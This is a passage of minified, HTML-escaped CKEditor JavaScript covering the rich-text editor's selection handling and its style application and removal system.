this.getSelectedElement();this.getSelectedText();this._.cache.nativeSel=null;this.isLocked=1},unlock:function(a){if(this.isLocked){if(a)var b=this.getSelectedElement(),c=this.getRanges(),e=this.isFake;this.isLocked=0;this.reset();a&amp;&amp;(a=b||c[0]&amp;&amp;c[0].getCommonAncestor())&amp;&amp;a.getAscendant(&quot;body&quot;,1)&amp;&amp;(d(c)?f.call(this,c):e?this.fake(b):b?this.selectElement(b):this.selectRanges(c))}},reset:function(){this._.cache={};this.isFake=0;var a=this.root.editor;if(a&amp;&amp;a._.fakeSelection)if(this.rev==a._.fakeSelection.rev){delete a._.fakeSelection;
var b=a._.hiddenSelectionContainer;if(b){var c=a.checkDirty();a.fire(&quot;lockSnapshot&quot;);b.remove();a.fire(&quot;unlockSnapshot&quot;);!c&amp;&amp;a.resetDirty()}delete a._.hiddenSelectionContainer}else CKEDITOR.warn(&quot;selection-fake-reset&quot;);this.rev=M++},selectElement:function(a){var b=new CKEDITOR.dom.range(this.root);b.setStartBefore(a);b.setEndAfter(a);this.selectRanges([b])},selectRanges:function(a){var b=this.root.editor,c=b&amp;&amp;b._.hiddenSelectionContainer;this.reset();if(c)for(var c=this.root,g,h=0;h&lt;a.length;++h)g=
a[h],g.endContainer.equals(c)&amp;&amp;(g.endOffset=Math.min(g.endOffset,c.getChildCount()));if(a.length)if(this.isLocked){var k=CKEDITOR.document.getActive();this.unlock();this.selectRanges(a);this.lock();k&amp;&amp;!k.equals(this.root)&amp;&amp;k.focus()}else{var l;a:{var p,B;if(1==a.length&amp;&amp;!(B=a[0]).collapsed&amp;&amp;(l=B.getEnclosedNode())&amp;&amp;l.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(B=B.clone(),B.shrink(CKEDITOR.SHRINK_ELEMENT,!0),(p=B.getEnclosedNode())&amp;&amp;p.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(l=p),&quot;false&quot;==l.getAttribute(&quot;contenteditable&quot;)))break a;
l=void 0}if(l)this.fake(l);else if(b&amp;&amp;b.plugins.tableselection&amp;&amp;CKEDITOR.plugins.tableselection.isSupportedEnvironment&amp;&amp;d(a)&amp;&amp;!n)f.call(this,a);else{if(m){p=CKEDITOR.dom.walker.whitespaces(!0);l=/\ufeff|\u00a0/;B={table:1,tbody:1,tr:1};1&lt;a.length&amp;&amp;(b=a[a.length-1],a[0].setEnd(b.endContainer,b.endOffset));b=a[0];a=b.collapsed;var A,J,G;if((c=b.getEnclosedNode())&amp;&amp;c.type==CKEDITOR.NODE_ELEMENT&amp;&amp;c.getName()in N&amp;&amp;(!c.is(&quot;a&quot;)||!c.getText()))try{G=c.$.createControlRange();G.addElement(c.$);G.select();return}catch(w){}if(b.startContainer.type==
CKEDITOR.NODE_ELEMENT&amp;&amp;b.startContainer.getName()in B||b.endContainer.type==CKEDITOR.NODE_ELEMENT&amp;&amp;b.endContainer.getName()in B)b.shrink(CKEDITOR.NODE_ELEMENT,!0),a=b.collapsed;G=b.createBookmark();B=G.startNode;a||(k=G.endNode);G=b.document.$.body.createTextRange();G.moveToElementText(B.$);G.moveStart(&quot;character&quot;,1);k?(l=b.document.$.body.createTextRange(),l.moveToElementText(k.$),G.setEndPoint(&quot;EndToEnd&quot;,l),G.moveEnd(&quot;character&quot;,-1)):(A=B.getNext(p),J=B.hasAscendant(&quot;pre&quot;),A=!(A&amp;&amp;A.getText&amp;&amp;A.getText().match(l))&amp;&amp;
(J||!B.hasPrevious()||B.getPrevious().is&amp;&amp;B.getPrevious().is(&quot;br&quot;)),J=b.document.createElement(&quot;span&quot;),J.setHtml(&quot;\x26#65279;&quot;),J.insertBefore(B),A&amp;&amp;b.document.createText(&quot;﻿&quot;).insertBefore(B));b.setStartBefore(B);B.remove();a?(A?(G.moveStart(&quot;character&quot;,-1),G.select(),b.document.$.selection.clear()):G.select(),b.moveToPosition(J,CKEDITOR.POSITION_BEFORE_START),J.remove()):(b.setEndBefore(k),k.remove(),G.select())}else{k=this.getNative();if(!k)return;this.removeAllRanges();for(G=0;G&lt;a.length;G++){if(G&lt;
a.length-1&amp;&amp;(A=a[G],J=a[G+1],l=A.clone(),l.setStart(A.endContainer,A.endOffset),l.setEnd(J.startContainer,J.startOffset),!l.collapsed&amp;&amp;(l.shrink(CKEDITOR.NODE_ELEMENT,!0),b=l.getCommonAncestor(),l=l.getEnclosedNode(),b.isReadOnly()||l&amp;&amp;l.isReadOnly()))){J.setStart(A.startContainer,A.startOffset);a.splice(G--,1);continue}b=a[G];J=this.document.$.createRange();b.collapsed&amp;&amp;CKEDITOR.env.webkit&amp;&amp;q(b)&amp;&amp;(l=e(this.root),b.insertNode(l),(A=l.getNext())&amp;&amp;!l.getPrevious()&amp;&amp;A.type==CKEDITOR.NODE_ELEMENT&amp;&amp;&quot;br&quot;==
A.getName()?(x(this.root),b.moveToPosition(A,CKEDITOR.POSITION_BEFORE_START)):b.moveToPosition(l,CKEDITOR.POSITION_AFTER_END));J.setStart(b.startContainer.$,b.startOffset);try{J.setEnd(b.endContainer.$,b.endOffset)}catch(r){if(0&lt;=r.toString().indexOf(&quot;NS_ERROR_ILLEGAL_VALUE&quot;))b.collapse(1),J.setEnd(b.endContainer.$,b.endOffset);else throw r;}k.addRange(J)}}this.reset();this.root.fire(&quot;selectionchange&quot;)}}},fake:function(a,b){var c=this.root.editor;void 0===b&amp;&amp;a.hasAttribute(&quot;aria-label&quot;)&amp;&amp;(b=a.getAttribute(&quot;aria-label&quot;));
this.reset();z(c,b);var d=this._.cache,e=new CKEDITOR.dom.range(this.root);e.setStartBefore(a);e.setEndAfter(a);d.ranges=new CKEDITOR.dom.rangeList(e);d.selectedElement=d.startElement=a;d.type=CKEDITOR.SELECTION_ELEMENT;d.selectedText=d.nativeSel=null;this.isFake=1;this.rev=M++;c._.fakeSelection=this;this.root.fire(&quot;selectionchange&quot;)},isHidden:function(){var a=this.getCommonAncestor();a&amp;&amp;a.type==CKEDITOR.NODE_TEXT&amp;&amp;(a=a.getParent());return!(!a||!a.data(&quot;cke-hidden-sel&quot;))},isInTable:function(a){return d(this.getRanges(),
a)},isCollapsed:function(){var a=this.getRanges();return 1===a.length&amp;&amp;a[0].collapsed},createBookmarks:function(a){a=this.getRanges().createBookmarks(a);this.isFake&amp;&amp;(a.isFake=1);return a},createBookmarks2:function(a){a=this.getRanges().createBookmarks2(a);this.isFake&amp;&amp;(a.isFake=1);return a},selectBookmarks:function(a){for(var b=[],c,e=0;e&lt;a.length;e++){var f=new CKEDITOR.dom.range(this.root);f.moveToBookmark(a[e]);b.push(f)}a.isFake&amp;&amp;(c=d(b)?b[0]._getTableElement():b[0].getEnclosedNode(),c&amp;&amp;c.type==
CKEDITOR.NODE_ELEMENT||(CKEDITOR.warn(&quot;selection-not-fake&quot;),a.isFake=0));a.isFake&amp;&amp;!d(b)?this.fake(c):this.selectRanges(b);return this},getCommonAncestor:function(){var a=this.getRanges();return a.length?a[0].startContainer.getCommonAncestor(a[a.length-1].endContainer):null},scrollIntoView:function(){this.type!=CKEDITOR.SELECTION_NONE&amp;&amp;this.getRanges()[0].scrollIntoView()},removeAllRanges:function(){if(this.getType()!=CKEDITOR.SELECTION_NONE){var a=this.getNative();try{a&amp;&amp;a[m?&quot;empty&quot;:&quot;removeAllRanges&quot;]()}catch(b){}this.reset()}}}})();
&quot;use strict&quot;;CKEDITOR.STYLE_BLOCK=1;CKEDITOR.STYLE_INLINE=2;CKEDITOR.STYLE_OBJECT=3;
(function(){function a(a,b){for(var c,d;(a=a.getParent())&amp;&amp;!a.equals(b);)if(a.getAttribute(&quot;data-nostyle&quot;))c=a;else if(!d){var e=a.getAttribute(&quot;contentEditable&quot;);&quot;false&quot;==e?c=a:&quot;true&quot;==e&amp;&amp;(d=1)}return c}function d(a,b,c,d){return(a.getPosition(b)|d)==d&amp;&amp;(!c.childRule||c.childRule(a))}function b(c){var e=c.document;if(c.collapsed)e=M(this,e),c.insertNode(e),c.moveToPosition(e,CKEDITOR.POSITION_BEFORE_END);else{var g=this.element,h=this._.definition,k,m=h.ignoreReadonly,n=m||h.includeReadonly;null==
n&amp;&amp;(n=c.root.getCustomData(&quot;cke_includeReadonly&quot;));var q=CKEDITOR.dtd[g];q||(k=!0,q=CKEDITOR.dtd.span);c.enlarge(CKEDITOR.ENLARGE_INLINE,1);c.trim();var p=c.createBookmark(),t=p.startNode,w=p.endNode,r=t,x;if(!m){var u=c.getCommonAncestor(),m=a(t,u),u=a(w,u);m&amp;&amp;(r=m.getNextSourceNode(!0));u&amp;&amp;(w=u)}for(r.getPosition(w)==CKEDITOR.POSITION_FOLLOWING&amp;&amp;(r=0);r;){m=!1;if(r.equals(w))r=null,m=!0;else{var v=r.type==CKEDITOR.NODE_ELEMENT?r.getName():null,u=v&amp;&amp;&quot;false&quot;==r.getAttribute(&quot;contentEditable&quot;),z=v&amp;&amp;
r.getAttribute(&quot;data-nostyle&quot;);if(v&amp;&amp;r.data(&quot;cke-bookmark&quot;)||r.type===CKEDITOR.NODE_COMMENT){r=r.getNextSourceNode(!0);continue}if(u&amp;&amp;n&amp;&amp;CKEDITOR.dtd.$block[v])for(var C=r,D=f(C),E=void 0,H=D.length,I=0,C=H&amp;&amp;new CKEDITOR.dom.range(C.getDocument());I&lt;H;++I){var E=D[I],L=CKEDITOR.filter.instances[E.data(&quot;cke-filter&quot;)];if(L?L.check(this):1)C.selectNodeContents(E),b.call(this,C)}D=v?!q[v]||z?0:u&amp;&amp;!n?0:d(r,w,h,P):1;if(D)if(E=r.getParent(),D=h,H=g,I=k,!E||!(E.getDtd()||CKEDITOR.dtd.span)[H]&amp;&amp;!I||D.parentRule&amp;&amp;
!D.parentRule(E))m=!0;else{if(x||v&amp;&amp;CKEDITOR.dtd.$removeEmpty[v]&amp;&amp;(r.getPosition(w)|P)!=P||(x=c.clone(),x.setStartBefore(r)),v=r.type,v==CKEDITOR.NODE_TEXT||u||v==CKEDITOR.NODE_ELEMENT&amp;&amp;!r.getChildCount()){for(var v=r,N;(m=!v.getNext(y))&amp;&amp;(N=v.getParent(),q[N.getName()])&amp;&amp;d(N,t,h,O);)v=N;x.setEndAfter(v)}}else m=!0;r=r.getNextSourceNode(z||u)}if(m&amp;&amp;x&amp;&amp;!x.collapsed){for(var m=M(this,e),u=m.hasAttributes(),z=x.getCommonAncestor(),v={},D={},E={},H={},U,R,aa;m&amp;&amp;z;){if(z.getName()==g){for(U in h.attributes)!H[U]&amp;&amp;
(aa=z.getAttribute(R))&amp;&amp;(m.getAttribute(U)==aa?D[U]=1:H[U]=1);for(R in h.styles)!E[R]&amp;&amp;(aa=z.getStyle(R))&amp;&amp;(m.getStyle(R)==aa?v[R]=1:E[R]=1)}z=z.getParent()}for(U in D)m.removeAttribute(U);for(R in v)m.removeStyle(R);u&amp;&amp;!m.hasAttributes()&amp;&amp;(m=null);m?(x.extractContents().appendTo(m),x.insertNode(m),F.call(this,m),m.mergeSiblings(),CKEDITOR.env.ie||m.$.normalize()):(m=new CKEDITOR.dom.element(&quot;span&quot;),x.extractContents().appendTo(m),x.insertNode(m),F.call(this,m),m.remove(!0));x=null}}c.moveToBookmark(p);
c.shrink(CKEDITOR.SHRINK_TEXT);c.shrink(CKEDITOR.NODE_ELEMENT,!0)}}function c(a){function b(){for(var a=new CKEDITOR.dom.elementPath(d.getParent()),c=new CKEDITOR.dom.elementPath(q.getParent()),e=null,f=null,g=0;g&lt;a.elements.length;g++){var l=a.elements[g];if(l==a.block||l==a.blockLimit)break;p.checkElementRemovable(l,!0)&amp;&amp;(e=l)}for(g=0;g&lt;c.elements.length;g++){l=c.elements[g];if(l==c.block||l==c.blockLimit)break;p.checkElementRemovable(l,!0)&amp;&amp;(f=l)}f&amp;&amp;q.breakParent(f);e&amp;&amp;d.breakParent(e)}a.enlarge(CKEDITOR.ENLARGE_INLINE,
1);var c=a.createBookmark(),d=c.startNode,e=this._.definition.alwaysRemoveElement;if(a.collapsed){for(var f=new CKEDITOR.dom.elementPath(d.getParent(),a.root),g,h=0,k;h&lt;f.elements.length&amp;&amp;(k=f.elements[h])&amp;&amp;k!=f.block&amp;&amp;k!=f.blockLimit;h++)if(this.checkElementRemovable(k)){var m;!e&amp;&amp;a.collapsed&amp;&amp;(a.checkBoundaryOfElement(k,CKEDITOR.END)||(m=a.checkBoundaryOfElement(k,CKEDITOR.START)))?(g=k,g.match=m?&quot;start&quot;:&quot;end&quot;):(k.mergeSiblings(),k.is(this.element)?z.call(this,k):v(k,n(this)[k.getName()]))}if(g){e=
d;for(h=0;;h++){k=f.elements[h];if(k.equals(g))break;else if(k.match)continue;else k=k.clone();k.append(e);e=k}e[&quot;start&quot;==g.match?&quot;insertBefore&quot;:&quot;insertAfter&quot;](g)}}else{var q=c.endNode,p=this;b();for(f=d;!f.equals(q);)g=f.getNextSourceNode(),f.type==CKEDITOR.NODE_ELEMENT&amp;&amp;this.checkElementRemovable(f)&amp;&amp;(f.getName()==this.element?z.call(this,f):v(f,n(this)[f.getName()]),g.type==CKEDITOR.NODE_ELEMENT&amp;&amp;g.contains(d)&amp;&amp;(b(),g=d.getNext())),f=g}a.moveToBookmark(c);a.shrink(CKEDITOR.NODE_ELEMENT,!0)}function f(a){var b=
[];a.forEach(function(a){if(&quot;true&quot;==a.getAttribute(&quot;contenteditable&quot;))return b.push(a),!1},CKEDITOR.NODE_ELEMENT,!0);return b}function g(a){var b=a.getEnclosedNode()||a.getCommonAncestor(!1,!0);(a=(new CKEDITOR.dom.elementPath(b,a.root)).contains(this.element,1))&amp;&amp;!a.isReadOnly()&amp;&amp;u(a,this)}function k(a){var b=a.getCommonAncestor(!0,!0);if(a=(new CKEDITOR.dom.elementPath(b,a.root)).contains(this.element,1)){var b=this._.definition,c=b.attributes;if(c)for(var d in c)a.removeAttribute(d,c[d]);if(b.styles)for(var e in b.styles)b.styles.hasOwnProperty(e)&amp;&amp;
a.removeStyle(e)}}function h(a){var b=a.createBookmark(!0),c=a.createIterator();c.enforceRealBlocks=!0;this._.enterMode&amp;&amp;(c.enlargeBr=this._.enterMode!=CKEDITOR.ENTER_BR);for(var d,e=a.document,f;d=c.getNextParagraph();)!d.isReadOnly()&amp;&amp;(c.activeFilter?c.activeFilter.check(this):1)&amp;&amp;(f=M(this,e,d),q(d,f));a.moveToBookmark(b)}function p(a){var b=a.createBookmark(1),c=a.createIterator();c.enforceRealBlocks=!0;c.enlargeBr=this._.enterMode!=CKEDITOR.ENTER_BR;for(var d,e;d=c.getNextParagraph();)this.checkElementRemovable(d)&amp;&amp;
(d.is(&quot;pre&quot;)?((e=this._.enterMode==CKEDITOR.ENTER_BR?null:a.document.createElement(this._.enterMode==CKEDITOR.ENTER_P?&quot;p&quot;:&quot;div&quot;))&amp;&amp;d.copyAttributes(e),q(d,e)):z.call(this,d));a.moveToBookmark(b)}function q(a,b){var c=!b;c&amp;&amp;(b=a.getDocument().createElement(&quot;div&quot;),a.copyAttributes(b));var d=b&amp;&amp;b.is(&quot;pre&quot;),f=a.is(&quot;pre&quot;),g=!d&amp;&amp;f;if(d&amp;&amp;!f){f=b;(g=a.getBogus())&amp;&amp;g.remove();g=a.getHtml();g=x(g,/(?:^[ \t\n\r]+)|(?:[ \t\n\r]+$)/g,&quot;&quot;);g=g.replace(/[ \t\r\n]*(&lt;br[^&gt;]*&gt;)[ \t\r\n]*/gi,&quot;$1&quot;);g=g.replace(/([ \t\n\r]+|&amp;nbsp;)/g,
&quot; &quot;);g=g.replace(/&lt;br\b[^&gt;]*&gt;/gi,&quot;\n&quot;);if(CKEDITOR.env.ie){var h=a.getDocument().createElement(&quot;div&quot;);h.append(f);f.$.outerHTML=&quot;\x3cpre\x3e&quot;+g+&quot;\x3c/pre\x3e&quot;;f.copyAttributes(h.getFirst());f=h.getFirst().remove()}else f.setHtml(g);b=f}else g?b=w(c?[a.getHtml()]:e(a),b):a.moveChildren(b);b.replace(a);if(d){var c=b,k;(k=c.getPrevious(I))&amp;&amp;k.type==CKEDITOR.NODE_ELEMENT&amp;&amp;k.is(&quot;pre&quot;)&amp;&amp;(d=x(k.getHtml(),/\n$/,&quot;&quot;)+&quot;\n\n&quot;+x(c.getHtml(),/^\n/,&quot;&quot;),CKEDITOR.env.ie?c.$.outerHTML=&quot;\x3cpre\x3e&quot;+d+&quot;\x3c/pre\x3e&quot;:
c.setHtml(d),k.remove())}else c&amp;&amp;m(b)}function e(a){var b=[];x(a.getOuterHtml(),/(\S\s*)\n(?:\s|(&lt;span[^&gt;]+data-cke-bookmark.*?\/span&gt;))*\n(?!$)/gi,function(a,b,c){return b+&quot;\x3c/pre\x3e&quot;+c+&quot;\x3cpre\x3e&quot;}).replace(/&lt;pre\b.*?&gt;([\s\S]*?)&lt;\/pre&gt;/gi,function(a,c){b.push(c)});return b}function x(a,b,c){var d=&quot;&quot;,e=&quot;&quot;;a=a.replace(/(^&lt;span[^&gt;]+data-cke-bookmark.*?\/span&gt;)|(&lt;span[^&gt;]+data-cke-bookmark.*?\/span&gt;$)/gi,function(a,b,c){b&amp;&amp;(d=b);c&amp;&amp;(e=c);return&quot;&quot;});return d+a.replace(b,c)+e}function w(a,b){var c;
1&lt;a.length&amp;&amp;(c=new CKEDITOR.dom.documentFragment(b.getDocument()));for(var d=0;d&lt;a.length;d++){var e=a[d],e=e.replace(/(\r\n|\r)/g,&quot;\n&quot;),e=x(e,/^[ \t]*\n/,&quot;&quot;),e=x(e,/\n$/,&quot;&quot;),e=x(e,/^[ \t]+|[ \t]+$/g,function(a,b){return 1==a.length?&quot;\x26nbsp;&quot;:b?&quot; &quot;+CKEDITOR.tools.repeat(&quot;\x26nbsp;&quot;,a.length-1):CKEDITOR.tools.repeat(&quot;\x26nbsp;&quot;,a.length-1)+&quot; &quot;}),e=e.replace(/\n/g,&quot;\x3cbr\x3e&quot;),e=e.replace(/[ \t]{2,}/g,function(a){return CKEDITOR.tools.repeat(&quot;\x26nbsp;&quot;,a.length-1)+&quot; &quot;});if(c){var f=b.clone();f.setHtml(e);
c.append(f)}else b.setHtml(e)}return c||b}function z(a,b){var c=this._.definition,d=c.attributes,c=c.styles,e=n(this)[a.getName()],f=CKEDITOR.tools.isEmpty(d)&amp;&amp;CKEDITOR.tools.isEmpty(c),g;for(g in d)if(&quot;class&quot;!=g&amp;&amp;!this._.definition.fullMatch||a.getAttribute(g)==r(g,d[g]))b&amp;&amp;&quot;data-&quot;==g.slice(0,5)||(f=a.hasAttribute(g),a.removeAttribute(g));for(var h in c)this._.definition.fullMatch&amp;&amp;a.getStyle(h)!=r(h,c[h],!0)||(f=f||!!a.getStyle(h),a.removeStyle(h));v(a,e,D[a.getName()]);f&amp;&amp;(this._.definition.alwaysRemoveElement?
m(a,1):!CKEDITOR.dtd.$block[a.getName()]||this._.enterMode==CKEDITOR.ENTER_BR&amp;&amp;!a.hasAttributes()?m(a):a.renameNode(this._.enterMode==CKEDITOR.ENTER_P?&quot;p&quot;:&quot;div&quot;))}function F(a){for(var b=n(this),c=a.getElementsByTag(this.element),d,e=c.count();0&lt;=--e;)d=c.getItem(e),d.isReadOnly()||z.call(this,d,!0);for(var f in b)if(f!=this.element)for(c=a.getElementsByTag(f),e=c.count()-1;0&lt;=e;e--)d=c.getItem(e),d.isReadOnly()||v(d,b[f])}function v(a,b,c){if(b=b&amp;&amp;b.attributes)for(var d=0;d&lt;b.length;d++){var e=b[d][0],
f;if(f=a.getAttribute(e)){var g=b[d][1];(null===g||g.test&amp;&amp;g.test(f)||&quot;string&quot;==typeof g&amp;&amp;f==g)&amp;&amp;a.removeAttribute(e)}}c||m(a)}function m(a,b){if(!a.hasAttributes()||b)if(CKEDITOR.dtd.$block[a.getName()]){var c=a.getPrevious(I),d=a.getNext(I);!c||c.type!=CKEDITOR.NODE_TEXT&amp;&amp;c.isBlockBoundary({br:1})||a.append(&quot;br&quot;,1);!d||d.type!=CKEDITOR.NODE_TEXT&amp;&amp;d.isBlockBoundary({br:1})||a.append(&quot;br&quot;);a.remove(!0)}else c=a.getFirst(),d=a.getLast(),a.remove(!0),c&amp;&amp;(c.type==CKEDITOR.NODE_ELEMENT&amp;&amp;c.mergeSiblings(),
d&amp;&amp;!c.equals(d)&amp;&amp;d.type==CKEDITOR.NODE_ELEMENT&amp;&amp;d.mergeSiblings())}function M(a,b,c){var d;d=a.element;&quot;*&quot;==d&amp;&amp;(d=&quot;span&quot;);d=new CKEDITOR.dom.element(d,b);c&amp;&amp;c.copyAttributes(d);d=u(d,a);b.getCustomData(&quot;doc_processing_style&quot;)&amp;&amp;d.hasAttribute(&quot;id&quot;)?d.removeAttribute(&quot;id&quot;):b.setCustomData(&quot;doc_processing_style&quot;,1);return d}function u(a,b){var c=b._.definition,d=c.attributes,c=CKEDITOR.style.getStyleText(c);if(d)for(var e in d)a.setAttribute(e,d[e]);c&amp;&amp;a.setAttribute(&quot;style&quot;,c);a.getDocument().removeCustomData(&quot;doc_processing_style&quot;);
return a}function H(a,b){for(var c in a)a[c]=a[c].replace(E,function(a,c){return b[c]})}function n(a){if(a._.overrides)return a._.overrides;var b=a._.overrides={},c=a._.definition.overrides;if(c){CKEDITOR.tools.isArray(c)||(c=[c]);for(var d=0;d&lt;c.length;d++){var e=c[d],f,g;&quot;string&quot;==typeof e?f=e.toLowerCase():(f=e.element?e.element.toLowerCase():a.element,g=e.attributes);e=b[f]||(b[f]={});if(g){var e=e.attributes=e.attributes||[],h;for(h in g)e.push([h.toLowerCase(),g[h]])}}}return b}function r(a,
b,c){var d=new CKEDITOR.dom.element(&quot;span&quot;);d[c?&quot;setStyle&quot;:&quot;setAttribute&quot;](a,b);return d[c?&quot;getStyle&quot;:&quot;getAttribute&quot;](a)}function C(a,b){function c(a,b){return&quot;font-family&quot;==b.toLowerCase()?a.replace(/[&quot;&#039;]/g,&quot;&quot;):a}&quot;string&quot;==typeof a&amp;&amp;(a=CKEDITOR.tools.parseCssText(a));&quot;string&quot;==typeof b&amp;&amp;(b=CKEDITOR.tools.parseCssText(b,!0));for(var d in a)if(!(d in b)||c(b[d],d)!=c(a[d],d)&amp;&amp;&quot;inherit&quot;!=a[d]&amp;&amp;&quot;inherit&quot;!=b[d])return!1;return!0}function L(a,b,c){var d=a.getRanges();b=b?this.removeFromRange:this.applyToRange;
var e,f;if(a.isFake&amp;&amp;a.isInTable())for(e=[],f=0;f&lt;d.length;f++)e.push(d[f].clone());for(var g=d.createIterator();f=g.getNextRange();)b.call(this,f,c);a.selectRanges(e||d)}var D={address:1,div:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,p:1,pre:1,section:1,header:1,footer:1,nav:1,article:1,aside:1,figure:1,dialog:1,hgroup:1,time:1,meter:1,menu:1,command:1,keygen:1,output:1,progress:1,details:1,datagrid:1,datalist:1},N={a:1,blockquote:1,embed:1,hr:1,img:1,li:1,object:1,ol:1,table:1,td:1,tr:1,th:1,ul:1,dl:1,dt:1,
dd:1,form:1,audio:1,video:1},t=/\s*(?:;\s*|$)/,E=/#\((.+?)\)/g,y=CKEDITOR.dom.walker.bookmark(0,1),I=CKEDITOR.dom.walker.whitespaces(1);CKEDITOR.style=function(a,b){if(&quot;string&quot;==typeof a.type)return new CKEDITOR.style.customHandlers[a.type](a);var c=a.attributes;c&amp;&amp;c.style&amp;&amp;(a.styles=CKEDITOR.tools.extend({},a.styles,CKEDITOR.tools.parseCssText(c.style)),delete c.style);b&amp;&amp;(a=CKEDITOR.tools.clone(a),H(a.attributes,b),H(a.styles,b));c=this.element=a.element?&quot;string&quot;==typeof a.element?a.element.toLowerCase():
a.element:&quot;*&quot;;this.type=a.type||(D[c]?CKEDITOR.STYLE_BLOCK:N[c]?CKEDITOR.STYLE_OBJECT:CKEDITOR.STYLE_INLINE);&quot;object&quot;==typeof this.element&amp;&amp;(this.type=CKEDITOR.STYLE_OBJECT);this._={definition:a}};CKEDITOR.style.prototype={apply:function(a){if(a instanceof CKEDITOR.dom.document)return L.call(this,a.getSelection());if(this.checkApplicable(a.elementPath(),a)){var b=this._.enterMode;b||(this._.enterMode=a.activeEnterMode);L.call(this,a.getSelection(),0,a);this._.enterMode=b}},remove:function(a){if(a instanceof
CKEDITOR.dom.document)return L.call(this,a.getSelection(),1);if(this.checkApplicable(a.elementPath(),a)){var b=this._.enterMode;b||(this._.enterMode=a.activeEnterMode);L.call(this,a.getSelection(),1,a);this._.enterMode=b}},applyToRange:function(a){this.applyToRange=this.type==CKEDITOR.STYLE_INLINE?b:this.type==CKEDITOR.STYLE_BLOCK?h:this.type==CKEDITOR.STYLE_OBJECT?g:null;return this.applyToRange(a)},removeFromRange:function(a){this.removeFromRange=this.type==CKEDITOR.STYLE_INLINE?c:this.type==CKEDITOR.STYLE_BLOCK?
p:this.type==CKEDITOR.STYLE_OBJECT?k:null;return this.removeFromRange(a)},applyToObject:function(a){u(a,this)},checkActive:function(a,b){switch(this.type){case CKEDITOR.STYLE_BLOCK:return this.checkElementRemovable(a.block||a.blockLimit,!0,b);case CKEDITOR.STYLE_OBJECT:case CKEDITOR.STYLE_INLINE:for(var c=a.elements,d=0,e;d&lt;c.length;d++)if(e=c[d],this.type!=CKEDITOR.STYLE_INLINE||e!=a.block&amp;&amp;e!=a.blockLimit){if(this.type==CKEDITOR.STYLE_OBJECT){var f=e.getName();if(!(&quot;string&quot;==typeof this.element?
f==this.element:f in this.element))continue}if(this.checkElementRemovable(e,!0,b))return!0}}return!1},checkApplicable:function(a,b,c){b&amp;&amp;b instanceof CKEDITOR.filter&amp;&amp;(c=b);if(c&amp;&amp;!c.check(this))return!1;switch(this.type){case CKEDITOR.STYLE_OBJECT:return!!a.contains(this.element);case CKEDITOR.STYLE_BLOCK:return!!a.blockLimit.getDtd()[this.element]}return!0},checkElementMatch:function(a,b){var c=this._.definition;if(!a||!c.ignoreReadonly&amp;&amp;a.isReadOnly())return!1;var d=a.getName();if(&quot;string&quot;==typeof this.element?
d==this.element:d in this.element){if(!b&amp;&amp;!a.hasAttributes())return!0;if(d=c._AC)c=d;else{var d={},e=0,f=c.attributes;if(f)for(var g in f)e++,d[g]=f[g];if(g=CKEDITOR.style.getStyleText(c))d.style||e++,d.style=g;d._length=e;c=c._AC=d}if(c._length){for(var h in c)if(&quot;_length&quot;!=h)if(d=a.getAttribute(h)||&quot;&quot;,&quot;style&quot;==h?C(c[h],d):c[h]==d){if(!b)return!0}else if(b)return!1;if(b)return!0}else return!0}return!1},checkElementRemovable:function(a,b,c){if(this.checkElementMatch(a,b,c))return!0;if(b=n(this)[a.getName()]){var d;
if(!(b=b.attributes))return!0;for(c=0;c&lt;b.length;c++)if(d=b[c][0],d=a.getAttribute(d)){var e=b[c][1];if(null===e)return!0;if(&quot;string&quot;==typeof e){if(d==e)return!0}else if(e.test(d))return!0}}return!1},buildPreview:function(a){var b=this._.definition,c=[],d=b.element;&quot;bdo&quot;==d&amp;&amp;(d=&quot;span&quot;);var c=[&quot;\x3c&quot;,d],e=b.attributes;if(e)for(var f in e)c.push(&quot; &quot;,f,&#039;\x3d&quot;&#039;,e[f],&#039;&quot;&#039;);(e=CKEDITOR.style.getStyleText(b))&amp;&amp;c.push(&#039; style\x3d&quot;&#039;,e,&#039;&quot;&#039;);c.push(&quot;\x3e&quot;,a||b.name,&quot;\x3c/&quot;,d,&quot;\x3e&quot;);return c.join(&quot;&quot;)},getDefinition:function(){return this._.definition}};
CKEDITOR.style.getStyleText=function(a){var b=a._ST;if(b)return b;var b=a.styles,c=a.attributes&amp;&amp;a.attributes.style||&quot;&quot;,d=&quot;&quot;;c.length&amp;&amp;(c=c.replace(t,&quot;;&quot;));for(var e in b){var f=b[e],g=(e+&quot;:&quot;+f).replace(t,&quot;;&quot;);&quot;inherit&quot;==f?d+=g:c+=g}c.length&amp;&amp;(c=CKEDITOR.tools.normalizeCssText(c,!0));return a._ST=c+d};CKEDITOR.style.customHandlers={};CKEDITOR.style.addCustomHandler=function(a){var b=function(a){this._={definition:a};this.setup&amp;&amp;this.setup(a)};b.prototype=CKEDITOR.tools.extend(CKEDITOR.tools.prototypedCopy(CKEDITOR.style.prototype),
{assignedTo:CKEDITOR.STYLE_OBJECT},a,!0);return this.customHandlers[a.type]=b};var P=CKEDITOR.POSITION_PRECEDING|CKEDITOR.POSITION_IDENTICAL|CKEDITOR.POSITION_IS_CONTAINED,O=CKEDITOR.POSITION_FOLLOWING|CKEDITOR.POSITION_IDENTICAL|CKEDITOR.POSITION_IS_CONTAINED})();CKEDITOR.styleCommand=function(a,d){this.requiredContent=this.allowedContent=this.style=a;CKEDITOR.tools.extend(this,d,!0)};
CKEDITOR.styleCommand.prototype.exec=function(a){a.focus();this.state==CKEDITOR.TRISTATE_OFF?a.applyStyle(this.style):this.state==CKEDITOR.TRISTATE_ON&amp;&amp;a.removeStyle(this.style)};CKEDITOR.stylesSet=new CKEDITOR.resourceManager(&quot;&quot;,&quot;stylesSet&quot;);CKEDITOR.addStylesSet=CKEDITOR.tools.bind(CKEDITOR.stylesSet.add,CKEDITOR.stylesSet);CKEDITOR.loadStylesSet=function(a,d,b){CKEDITOR.stylesSet.addExternal(a,d,&quot;&quot;);CKEDITOR.stylesSet.load(a,b)};
